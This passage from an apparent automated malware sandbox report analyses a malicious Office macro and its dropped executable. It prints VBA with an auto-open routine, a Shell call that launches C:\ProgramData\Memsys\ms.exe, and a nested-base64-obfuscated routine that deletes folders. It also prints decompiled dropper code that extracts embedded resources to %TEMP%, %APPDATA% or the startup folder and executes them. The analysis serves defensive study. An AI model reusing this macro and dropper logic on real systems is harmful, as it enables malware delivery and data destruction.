63	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = bTrans(mnAjUYt \ MNAJSAQQQQQQ12)	MNAJSAQQQQQQ12
64	mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
65	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = bTrans(mnAjUYt \ MNAJSAQQQQQQ6)	MNAJSAQQQQQQ6
66	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3) = bTrans(lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask)	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask
67	If lLen = 68 Then
68	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4) = 13
69	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 5) = 10
70	lLen = 0
71	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 6
72	Else
73	lLen = lLen + 4
74	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4
75	Endif
76	Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB	LBound UBound
78	If bOut(lOutSize) = 10 Then
78	lOutSize = lOutSize - 2
78	Endif
80	If iPad = 1 Then
81	bOut(lOutSize) = 61
82	Elseif iPad = 2 Then
83	bOut(lOutSize) = 61
84	bOut(lOutSize - 1) = 61
85	Endif
87	Encode64 = StrConv(bOut, vbUnicode)	StrConv vbUnicode
89	End Function

Subroutine AddSpace, APIs: 13, Strings: 0, Number of lines: 3, Relevance: 16.253

APIs	Meta Information
Part of subcall function RemoveParagraph@NewMacros: Environ
Part of subcall function RemoveParagraph@NewMacros: Len
Part of subcall function RemoveParagraph@NewMacros: dir
Part of subcall function RemoveParagraph@NewMacros: vbDirectory
Part of subcall function RemoveParagraph@NewMacros: ChDrive
Part of subcall function RemoveParagraph@NewMacros: FreeFile
Part of subcall function RemoveParagraph@NewMacros: Open
Part of subcall function RemoveParagraph@NewMacros: Paragraphs
Part of subcall function RemoveParagraph@NewMacros: ActiveDocument
Part of subcall function RemoveParagraph@NewMacros: DoEvents
Part of subcall function RemoveParagraph@NewMacros: Range
Part of subcall function RemoveParagraph@NewMacros: Len
Part of subcall function RemoveParagraph@NewMacros: Mid

Line	Instruction	Meta Information
149	Sub AddSpace()
150	RemoveParagraph	executed
151	End Sub

Subroutine Shits, APIs: 1, Strings: 0, Number of lines: 4, Relevance: 4.504

APIs	Meta Information
Shell	Shell("C:\ProgramData\Memsys\ms.exe",1) -> 1260

Line	Instruction	Meta Information
224	Sub Shits(vbHH as String)
225	Dim OBsGG	executed
226	OBsGG = Shell(vbHH, 1)	Shell("C:\ProgramData\Memsys\ms.exe",1) -> 1260 executed
227	End Sub

Non-Executed Functions

Subroutine Wipedir, APIs: 28, Strings: 1, Number of lines: 9, Relevance: 52.509

APIs	Meta Information
CreateObject
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
folderexists
deletefolder

Strings

Decrypted Strings

"Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V2JGbDNXa2M1VjAxV2JETlhhMUpUVjBaS2RHVkliRmhoTWsweFZtcEdTMlJIVmtsaVJtaG9UVlZ3VlZadE1YcGxSbVJJVm10a2FWSXdXbFJXYlhoelRURmtWMWRzV214U2JHdzFWa2QwVjFVeVNrbFJhemxXWWxSV1JGcFdXbXRXTVZaeVdrWndWMDFFUlRCV2EyTXhVekpHVjFOWVpGaGlSa3BZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUZOaFZscHlWMVJHVjJFeVVYZFhWbVJIVmpGT2RWVnNXbWxoTUhCWlZrWldhMVV5VW5OWGJrNVlZbGhTV1ZWcVJrdFRWbFowVFZjNVZXSkdjRnBWVjNCWFZqRkplbUZHYUZwbGExcDZWbXBHVDJSV1ZuUmhSbEpUVmxoQ1dWWXhXbXROUmtwMFZWaG9WbUpHY0ZsWmJGWmhZMVpTVjFkdVpFNVNiRm93VkZab2ExWlhTbFpqUldSYVRVWmFNMVpxU2tabFZsWlpXa1p3YUdFelFrMVdWM0JIVkRKU1YxZHVUbFJpVjJoeldXeG9iMWRHV25STlNHaFBVbTE0V0ZZeGFHOVdiVXB5VGxaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE="

Line	Instruction	Meta Information
214	Public Sub Wipedir(pppppppppppppppppppppppppp as String)
215	Dim OOO
216	Set OOO = CreateObject(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V2JGbDNXa2M1VjAxV2JETlhhMUpUVjBaS2RHVkliRmhoTWsweFZtcEdTMlJIVmtsaVJtaG9UVlZ3VlZadE1YcGxSbVJJVm10a2FWSXdXbFJXYlhoelRURmtWMWRzV214U2JHdzFWa2QwVjFVeVNrbFJhemxXWWxSV1JGcFdXbXRXTVZaeVdrWndWMDFFUlRCV2EyTXhVekpHVjFOWVpGaGlSa3BZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUZOaFZscHlWMVJHVjJFeVVYZFhWbVJIVmpGT2RWVnNXbWxoTUhCWlZrWldhMVV5VW5OWGJrNVlZbGhTV1ZWcVJrdFRWbFowVFZjNVZXSkdjRnBWVjNCWFZqRkplbUZHYUZwbGExcDZWbXBHVDJSV1ZuUmhSbEpUVmxoQ1dWWXhXbXROUmtwMFZWaG9WbUpHY0ZsWmJGWmhZMVpTVjFkdVpFNVNiRm93VkZab2ExWlhTbFpqUldSYVRVWmFNMVpxU2tabFZsWlpXa1p3YUdFelFrMVdWM0JIVkRKU1YxZHVUbFJpVjJoeldXeG9iMWRHV25STlNHaFBVbTE0V0ZZeGFHOVdiVXB5VGxaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE="))))))))))))	CreateObject
217	If OOO.folderexists(pppppppppppppppppppppppppp) Then	folderexists
218	OOO.deletefolder pppppppppppppppppppppppppp	deletefolder
219	Else
220	End
221	Endif
223	End Sub

Subroutine Workbook_Open, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 1.253

Line	Instruction	Meta Information
242	Private Sub Workbook_Open()
243	AddSpace
244	End Sub

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: ms.exe PID: 1260 Parent PID: 2788 ms.exeCOMMON

Executed Functions

Function 00B71320, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B71320(intOrPtr __edx) {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t5;
				intOrPtr _t8;

				_t8 = __edx;
				_t1 = LoadLibraryA("shell32.dll");
				 *0xb7e940 = _t1;
				if(_t1 == 0) {
					_t1 = E00B72E90(_t1);
				}
				_t2 = GetProcAddress(_t1, "ShellExecuteA");
				 *0xb7e944 = _t2;
				if(__imp__ShellExecuteA == 0) {
					E00B72E90(0); // executed
				}
				E00B71EB0(_t8, __imp__ShellExecuteA); // executed
				EnumResourceNamesA(0, "RBIND", E00B710C0, 0);
				_t5 =  *0xb7e940; // 0x75540000
				return FreeLibrary(_t5);
			}

0x00b71320
0x00b71325
0x00b7132b
0x00b71332
0x00b71335
0x00b71335
0x00b71340
0x00b7134d
0x00b71352
0x00b71356
0x00b71356
0x00b7135b
0x00b7136e
0x00b71374
0x00b71380

APIs

LoadLibraryA.KERNEL32(shell32.dll), ref: 00B71325
GetProcAddress.KERNEL32(?,ShellExecuteA), ref: 00B71340
EnumResourceNamesA.KERNEL32 ref: 00B7136E
FreeLibrary.KERNEL32(75540000,?,ShellExecuteA), ref: 00B7137A

Part of subcall function 00B72E90: _doexit.LIBCMT ref: 00B72E9C

Strings

ShellExecuteA, xrefs: 00B7133A
shell32.dll, xrefs: 00B71320
RBIND, xrefs: 00B71367

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressEnumFreeLoadNamesProcResource_doexit
String ID: RBIND$ShellExecuteA$shell32.dll
API String ID: 2421111958-1274833461
Opcode ID: f1318ea671f42a452d1d4be34abcfee6ebc8a9c8ddca2f4435cc5a2f28ddcb65
Instruction ID: 8400cf7ab51f02d86a4e1845d5148ec3e8e8759a2cd07f858bfc1819036ca1d9
Opcode Fuzzy Hash: f1318ea671f42a452d1d4be34abcfee6ebc8a9c8ddca2f4435cc5a2f28ddcb65
Instruction Fuzzy Hash: BFF0C975A80301A6D6606BB89C0EF4B36E5AB14B06F048885FA3DA35A1DFB091C08A36

Uniqueness

Uniqueness Score: -1.00%

Function 00B71AD0, Relevance: 10.6, APIs: 7, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00B71AD0(void** __ecx, CHAR* __edx, intOrPtr _a4, CHAR* _a8, intOrPtr _a28) {
				struct HINSTANCE__* _v8;
				char _v16;
				signed int _v20;
				char _v279;
				char _v280;
				void* _v284;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				signed int _t34;
				intOrPtr _t36;
				struct HRSRC__* _t38;
				void* _t39;
				long _t40;
				intOrPtr* _t46;
				struct HRSRC__* _t59;
				void* _t61;
				CHAR* _t63;
				intOrPtr _t65;
				void* _t75;
				void* _t77;
				void** _t80;
				void* _t81;
				signed int _t82;
				void* _t83;
				void* _t84;

				_t71 = __edx;
				_push(0xffffffff);
				_push(E00B78598);
				_push( *[fs:0x0]);
				_t84 = _t83 - 0x10c;
				_t33 =  *0xb7d07c; // 0x4b320af7
				_t34 = _t33 ^ _t82;
				_v20 = _t34;
				_push(_t34);
				 *[fs:0x0] =  &_v16;
				_t36 = _a4;
				_t80 = __ecx;
				_v284 = 0;
				_v8 = 0;
				_t63 = _a8;
				if(_a28 < 0x10) {
					_t63 =  &_a8;
				}
				_t38 = FindResourceA(0, _t63,  *(_t36 + 0x1c)); // executed
				_t59 = _t38;
				if(_t59 != 0) {
					_t39 = LoadResource(0, _t59);
					_t75 = _t39;
					if(_t75 != 0) {
						_t40 = SizeofResource(0, _t59);
						_v284 = LockResource(_t75);
						_v280 = 0;
						E00B757C0( &_v279, 0, 0x103);
						E00B72850( &_v280, _v284, _t40);
						_t84 = _t84 + 0x18;
						FreeResource(_t75);
						_t46 =  &_v280;
						_t80[5] = 0xf;
						_t80[4] = 0;
						 *_t80 = 0;
						_t26 = _t46 + 1; // 0x1
						_t71 = _t26;
						do {
							_t65 =  *_t46;
							_t46 = _t46 + 1;
						} while (_t65 != 0);
						E00B71420( &_v280, _t46 - _t71, _t80);
						if(_a28 >= 0x10) {
							_push(_a8);
							goto L12;
						}
					} else {
						_t80[4] = _t39;
						_t80[5] = 0xf;
						 *_t80 = _t39;
						E00B71420(0xb7b0aa, _t75, _t80);
						if(_a28 >= 0x10) {
							_t71 = _a8;
							_push(_a8);
							goto L12;
						}
					}
				} else {
					_t80[4] = 0;
					_t80[5] = 0xf;
					 *_t80 = 0;
					E00B71420(0xb7b0aa, 0, _t80);
					if(_a28 >= 0x10) {
						_push(_a8);
						L12:
						E00B72BB1();
					}
				}
				 *[fs:0x0] = _v16;
				_pop(_t77);
				_pop(_t81);
				_pop(_t61);
				return E00B72701(_t80, _t61, _v20 ^ _t82, _t71, _t77, _t81);
			}

0x00b71ad0
0x00b71ad3
0x00b71ad5
0x00b71ae0
0x00b71ae1
0x00b71ae7
0x00b71aec
0x00b71aee
0x00b71af4
0x00b71af8
0x00b71afe
0x00b71b03
0x00b71b05
0x00b71b0b
0x00b71b12
0x00b71b15
0x00b71b17
0x00b71b17
0x00b71b20
0x00b71b26
0x00b71b2a
0x00b71b5a
0x00b71b60
0x00b71b64
0x00b71b92
0x00b71ba6
0x00b71bb5
0x00b71bbc
0x00b71bd0
0x00b71bd5
0x00b71bd9
0x00b71bdf
0x00b71be5
0x00b71bec
0x00b71bf3
0x00b71bf6
0x00b71bf6
0x00b71c00
0x00b71c00
0x00b71c02
0x00b71c03
0x00b71c11
0x00b71c1a
0x00b71c1f
0x00000000
0x00b71c1f
0x00b71b66
0x00b71b66
0x00b71b69
0x00b71b70
0x00b71b77
0x00b71b80
0x00b71b86
0x00b71b89
0x00000000
0x00b71b89
0x00b71b80
0x00b71b2c
0x00b71b2c
0x00b71b2f
0x00b71b3d
0x00b71b40
0x00b71b49
0x00b71b52
0x00b71c20
0x00b71c20
0x00b71c25
0x00b71b49
0x00b71c2d
0x00b71c35
0x00b71c36
0x00b71c37
0x00b71c45

APIs

FindResourceA.KERNEL32 ref: 00B71B20
LoadResource.KERNEL32(00000000,00000000), ref: 00B71B5A
SizeofResource.KERNEL32(00000000,00000000), ref: 00B71B92
LockResource.KERNEL32(00000000), ref: 00B71B9B
_memset.LIBCMT ref: 00B71BBC
_memmove.LIBCMT ref: 00B71BD0
FreeResource.KERNEL32(00000000), ref: 00B71BD9

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Resource$FindFreeLoadLockSizeof_memmove_memset
String ID:
API String ID: 4079094743-0
Opcode ID: 30fa641ec329c9fbc70cd9c9c61ee2947c61aec714937ab99e8ce8ba866e35f0
Instruction ID: 23cbd15291437199783ea2abfc19372f7dbcf3c0060ab4c84706ba9e725d2921
Opcode Fuzzy Hash: 30fa641ec329c9fbc70cd9c9c61ee2947c61aec714937ab99e8ce8ba866e35f0
Instruction Fuzzy Hash: 3E4194715002089FDB25DF6CCC45BEAB7F8EF49710F008999E56D97341EB709A44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B71EB0, Relevance: 23.1, APIs: 2, Strings: 11, Instructions: 327
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B71EB0(intOrPtr __edx, void* __eflags) {
				char _v12;
				char _v16;
				signed int _v24;
				intOrPtr _v28;
				signed int _v36;
				char _v48;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v88;
				signed int _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t77;
				signed int _t79;
				intOrPtr* _t87;
				char _t91;
				signed int _t92;
				char _t94;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				void* _t104;
				void* _t106;
				void* _t109;
				void* _t113;
				void* _t115;
				void* _t117;
				void* _t133;
				signed int _t135;
				void* _t136;
				signed int _t167;
				intOrPtr _t170;
				void* _t171;
				void* _t172;
				signed int _t174;
				intOrPtr _t177;
				void* _t184;
				void* _t190;
				char* _t191;
				intOrPtr* _t192;
				signed int _t193;
				intOrPtr* _t194;
				char _t195;
				void* _t198;
				signed int _t205;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				void* _t216;
				signed int _t223;

				_t166 = __edx;
				_push(0xffffffff);
				_t207 = (_t205 & 0xfffffff8) - 0x48;
				_t77 =  *0xb7d07c; // 0x4b320af7
				_v24 = _t77 ^ _t207;
				_t79 =  *0xb7d07c; // 0x4b320af7
				 *[fs:0x0] =  &_v16;
				E00B71870( &_v56);
				_t208 = _t207 - 0x1c;
				_v12 = 0;
				_t191 = _t208;
				 *((intOrPtr*)(_t191 + 0x10)) = 0;
				 *((intOrPtr*)(_t191 + 0x14)) = 0xf;
				 *_t191 = 0;
				_v92 = _t208;
				E00B71420("DROPIN", 6, _t191);
				_t87 = E00B71AD0( &_v88, _t166,  &_v60, _t79 ^ _t207, _t172, _t190, _t133,  *[fs:0x0], E00B786C0); // executed
				_t192 = _t87;
				if(_t192 == 0xb7dbf8) {
					_t174 = 0;
					__eflags = 0;
				} else {
					if( *0xb7dc0c >= 0x10) {
						_t171 =  *0xb7dbf8; // 0x4d455400
						_push(_t171);
						E00B72BB1();
						_t208 = _t208 + 4;
					}
					_t174 = 0;
					 *0xb7dc0c = 0xf;
					 *0xb7dc08 = 0;
					 *0xb7dbf8 = 0;
					if( *((intOrPtr*)(_t192 + 0x14)) >= 0x10) {
						 *0xb7dbf8 =  *_t192;
						 *_t192 = 0;
					} else {
						E00B72850(0xb7dbf8, _t192,  *((intOrPtr*)(_t192 + 0x10)) + 1);
						_t208 = _t208 + 0xc;
					}
					 *0xb7dc08 =  *((intOrPtr*)(_t192 + 0x10));
					_t166 =  *((intOrPtr*)(_t192 + 0x14));
					 *0xb7dc0c =  *((intOrPtr*)(_t192 + 0x14));
					 *((intOrPtr*)(_t192 + 0x10)) = _t174;
					 *((intOrPtr*)(_t192 + 0x14)) = _t174;
				}
				_v12 = 0;
				if(_v68 >= 0x10) {
					_push(_v88);
					E00B72BB1();
					_t208 = _t208 + 4;
				}
				_t209 = _t208 - 0x1c;
				_t193 = _t209;
				 *((intOrPtr*)(_t193 + 0x10)) = _t174;
				 *((intOrPtr*)(_t193 + 0x14)) = 0xf;
				_v92 = _t209;
				 *_t193 = 0;
				E00B71420("EXEC", 4, _t193);
				_push( &_v60);
				_t194 = E00B71AD0( &_v88, _t166);
				if(_t194 != 0xb7dc14) {
					_t216 =  *0xb7dc28 - 0x10; // 0xf
					if(_t216 >= 0) {
						_t170 =  *0xb7dc14; // 0x0
						_push(_t170);
						E00B72BB1();
						_t209 = _t209 + 4;
					}
					 *0xb7dc28 = 0xf;
					 *0xb7dc24 = 0;
					 *0xb7dc14 = 0;
					if( *((intOrPtr*)(_t194 + 0x14)) >= 0x10) {
						 *0xb7dc14 =  *_t194;
						 *_t194 = 0;
					} else {
						E00B72850(0xb7dc14, _t194,  *((intOrPtr*)(_t194 + 0x10)) + 1);
						_t209 = _t209 + 0xc;
					}
					 *0xb7dc24 =  *((intOrPtr*)(_t194 + 0x10));
					 *0xb7dc28 =  *((intOrPtr*)(_t194 + 0x14));
					 *((intOrPtr*)(_t194 + 0x10)) = 0;
					 *((intOrPtr*)(_t194 + 0x14)) = 0;
				}
				_v16 = 0;
				if(_v72 >= 0x10) {
					_push(_v92);
					E00B72BB1();
					_t209 = _t209 + 4;
				}
				_t195 =  *0xb7dc08; // 0x0
				_t91 = _t195;
				if(_t195 >= 6) {
					_t91 = 6;
				}
				_t177 =  *0xb7dc0c; // 0xf
				_t135 =  *0xb7dbf8; // 0x4d455400
				_t167 = _t135;
				if(_t177 < 0x10) {
					_t167 = 0xb7dbf8;
				}
				_t92 = E00B71040(_t91, "%TEMP%", _t167);
				if(_t92 == 0) {
					if(_t195 >= 6) {
						__eflags = _t195 - 6;
						_t35 = _t195 != 6;
						__eflags = _t35;
						_t92 = 0 | _t35;
					} else {
						_t92 = _t92 | 0xffffffff;
					}
					_t223 = _t92;
				}
				if((_t92 & 0xffffff00 | _t223 == 0x00000000) == 0) {
					_t94 = _t195;
					__eflags = _t195 - 9;
					if(_t195 >= 9) {
						_t94 = 9;
					}
					_t168 = _t135;
					__eflags = _t177 - 0x10;
					if(_t177 < 0x10) {
						_t168 = 0xb7dbf8;
					}
					_t95 = E00B71040(_t94, "%APPDATA%", _t168);
					__eflags = _t95;
					if(__eflags == 0) {
						__eflags = _t195 - 9;
						if(_t195 >= 9) {
							__eflags = _t195 - 9;
							_t43 = _t195 != 9;
							__eflags = _t43;
							_t95 = 0 | _t43;
						} else {
							_t95 = _t95 | 0xffffffff;
						}
						__eflags = _t95;
					}
					if(__eflags == 0) {
						_t97 = E00B725D0("%PROGFILES%", 0xb7dbf8);
						__eflags = _t97;
						if(_t97 == 0) {
							_t98 = E00B725D0("%DEFDRIVE%", 0xb7dbf8);
							__eflags = _t98;
							if(_t98 == 0) {
								_t99 = E00B725D0("%STARTUPDIR%", 0xb7dbf8);
								__eflags = _t99;
								if(_t99 == 0) {
									_t100 = E00B725D0("%LAPPDATA%", 0xb7dbf8);
									__eflags = _t100;
									if(_t100 == 0) {
										_t101 = E00B725D0("%USERDIR%", 0xb7dbf8);
										__eflags = _t101;
										if(_t101 == 0) {
											_t209 = _t209 - 0x1c;
											_v96 = _t209;
											E00B71390("FULLPATH", _t209);
											_t168 =  &_v64;
											_push( &_v64);
											_t104 = E00B71AD0( &_v92,  &_v64);
											_v48 = 0xb;
										} else {
											_t104 = E00B71C50( &_v92, 5);
											_t209 = _t209 + 4;
											_v16 = 0xa;
										}
									} else {
										_t104 = E00B71C50( &_v92, 0x1c);
										_t209 = _t209 + 4;
										_v16 = 9;
									}
								} else {
									_t104 = E00B71C50( &_v92, 0x18);
									_t209 = _t209 + 4;
									_v16 = 8;
								}
								L59:
								E00B723D0(_t104, 0xb7dc30);
								_t106 = E00B72340( &_v96);
								goto L60;
							}
							_t159 =  &_v92;
							_t109 = E00B71DA0(_t135,  &_v92);
							_v16 = 6;
							E00B723D0(_t109, 0xb7dc30);
							_v16 = 0;
							__eflags = _v72 - 0x10;
							if(_v72 >= 0x10) {
								_t159 = _v92;
								_push(_v92);
								E00B72BB1();
								_t209 = _t209 + 4;
							}
							__eflags =  *0xb7dc40;
							if( *0xb7dc40 <= 0) {
								_t106 = E00B71420("C:\\", 3, 0xb7dc30);
								goto L60;
							} else {
								_t104 = E00B72440(_t159,  &_v92, 0xb7dc30, 3);
								_v24 = 7;
								goto L59;
							}
						}
						_t113 = E00B71C50( &_v92, 0x26);
						_t209 = _t209 + 4;
						_v16 = 5;
						_t106 = E00B723D0(_t113, 0xb7dc30);
						__eflags = _v72 - 0x10;
						if(_v72 >= 0x10) {
							_push(_v92);
							_t106 = E00B72BB1();
							_t209 = _t209 + 4;
						}
					} else {
						_t115 = E00B71C50( &_v92, 0x1a);
						_t209 = _t209 + 4;
						_v16 = 4;
						_t106 = E00B723D0(_t115, 0xb7dc30);
						__eflags = _v72 - 0x10;
						if(_v72 >= 0x10) {
							_t168 = _v92;
							_push(_v92);
							_t106 = E00B72BB1();
							_t209 = _t209 + 4;
						}
					}
					goto L60;
				} else {
					_t117 = E00B71E20(_t135,  &_v92);
					_v16 = 3;
					_t106 = E00B723D0(_t117, 0xb7dc30);
					if(_v72 >= 0x10) {
						_push(_v92);
						_t106 = E00B72BB1();
						_t209 = _t209 + 4;
					}
					L60:
					if(_v48 >= 0x10) {
						_push(_v68);
						_t106 = E00B72BB1();
						_t209 = _t209 + 4;
					}
					 *[fs:0x0] = _v28;
					_pop(_t184);
					_pop(_t198);
					_pop(_t136);
					return E00B72701(_t106, _t136, _v36 ^ _t209, _t168, _t184, _t198);
				}
			}

0x00b71eb0
0x00b71eb6
0x00b71ec4
0x00b71ec7
0x00b71ece
0x00b71ed5
0x00b71ee1
0x00b71eec
0x00b71ef3
0x00b71ef6
0x00b71efa
0x00b71f01
0x00b71f04
0x00b71f07
0x00b71f11
0x00b71f15
0x00b71f23
0x00b71f28
0x00b71f30
0x00b71f9d
0x00b71f9d
0x00b71f32
0x00b71f39
0x00b71f3b
0x00b71f41
0x00b71f42
0x00b71f47
0x00b71f47
0x00b71f4a
0x00b71f4c
0x00b71f52
0x00b71f58
0x00b71f63
0x00b71f7c
0x00b71f81
0x00b71f65
0x00b71f70
0x00b71f75
0x00b71f75
0x00b71f86
0x00b71f8c
0x00b71f8f
0x00b71f95
0x00b71f98
0x00b71f98
0x00b71f9f
0x00b71fa9
0x00b71faf
0x00b71fb0
0x00b71fb5
0x00b71fb5
0x00b71fb8
0x00b71fbb
0x00b71fbd
0x00b71fc0
0x00b71fcd
0x00b71fd1
0x00b71fd4
0x00b71fdd
0x00b71fe7
0x00b71ff4
0x00b71ff6
0x00b71ffc
0x00b71ffe
0x00b72004
0x00b72005
0x00b7200a
0x00b7200a
0x00b7200d
0x00b72015
0x00b7201b
0x00b72024
0x00b7203d
0x00b72042
0x00b72026
0x00b72031
0x00b72036
0x00b72036
0x00b72047
0x00b72050
0x00b72056
0x00b72059
0x00b72059
0x00b7205c
0x00b72065
0x00b7206b
0x00b7206c
0x00b72071
0x00b72071
0x00b72074
0x00b7207a
0x00b7207f
0x00b72081
0x00b72081
0x00b72086
0x00b7208c
0x00b72092
0x00b72097
0x00b72099
0x00b72099
0x00b720a3
0x00b720aa
0x00b720af
0x00b720b8
0x00b720bb
0x00b720bb
0x00b720bb
0x00b720b1
0x00b720b1
0x00b720b1
0x00b720be
0x00b720be
0x00b720c5
0x00b720fe
0x00b72100
0x00b72103
0x00b72105
0x00b72105
0x00b7210a
0x00b7210c
0x00b7210f
0x00b72111
0x00b72111
0x00b7211b
0x00b72120
0x00b72122
0x00b72124
0x00b72127
0x00b72130
0x00b72133
0x00b72133
0x00b72133
0x00b72129
0x00b72129
0x00b72129
0x00b72136
0x00b72136
0x00b7213d
0x00b72185
0x00b7218a
0x00b7218c
0x00b721d4
0x00b721d9
0x00b721db
0x00b72258
0x00b7225d
0x00b7225f
0x00b72280
0x00b72285
0x00b72287
0x00b722a8
0x00b722ad
0x00b722af
0x00b722c6
0x00b722d0
0x00b722d4
0x00b722d9
0x00b722dd
0x00b722e2
0x00b722e7
0x00b722b1
0x00b722b7
0x00b722bc
0x00b722bf
0x00b722bf
0x00b72289
0x00b7228f
0x00b72294
0x00b72297
0x00b72297
0x00b72261
0x00b72267
0x00b7226c
0x00b7226f
0x00b7226f
0x00b722ec
0x00b722f3
0x00b722fc
0x00000000
0x00b722fc
0x00b721dd
0x00b721e1
0x00b721ed
0x00b721f2
0x00b721f7
0x00b721fc
0x00b72201
0x00b72203
0x00b72207
0x00b72208
0x00b7220d
0x00b7220d
0x00b72210
0x00b72217
0x00b72244
0x00000000
0x00b72219
0x00b72226
0x00b7222b
0x00000000
0x00b7222b
0x00b72217
0x00b72194
0x00b72199
0x00b721a3
0x00b721a8
0x00b721ad
0x00b721b2
0x00b721bc
0x00b721bd
0x00b721c2
0x00b721c2
0x00b7213f
0x00b72145
0x00b7214a
0x00b72154
0x00b72159
0x00b7215e
0x00b72163
0x00b72169
0x00b7216d
0x00b7216e
0x00b72173
0x00b72173
0x00b72163
0x00000000
0x00b720c7
0x00b720cb
0x00b720d7
0x00b720dc
0x00b720e6
0x00b720f0
0x00b720f1
0x00b720f6
0x00b720f6
0x00b72301
0x00b72306
0x00b7230c
0x00b7230d
0x00b72312
0x00b72312
0x00b72319
0x00b72321
0x00b72322
0x00b72323
0x00b72332
0x00b72332

APIs

Part of subcall function 00B71AD0: FindResourceA.KERNEL32 ref: 00B71B20

_memmove.LIBCMT ref: 00B71F70

Part of subcall function 00B71C50: SHGetSpecialFolderPathA.SHELL32(00000000,?,?,00000000), ref: 00B71C9E

Part of subcall function 00B723D0: _memmove.LIBCMT ref: 00B72403

_memmove.LIBCMT ref: 00B72031

Strings

%USERDIR%, xrefs: 00B7229E
%PROGFILES%, xrefs: 00B7217B
%STARTUPDIR%, xrefs: 00B7224E
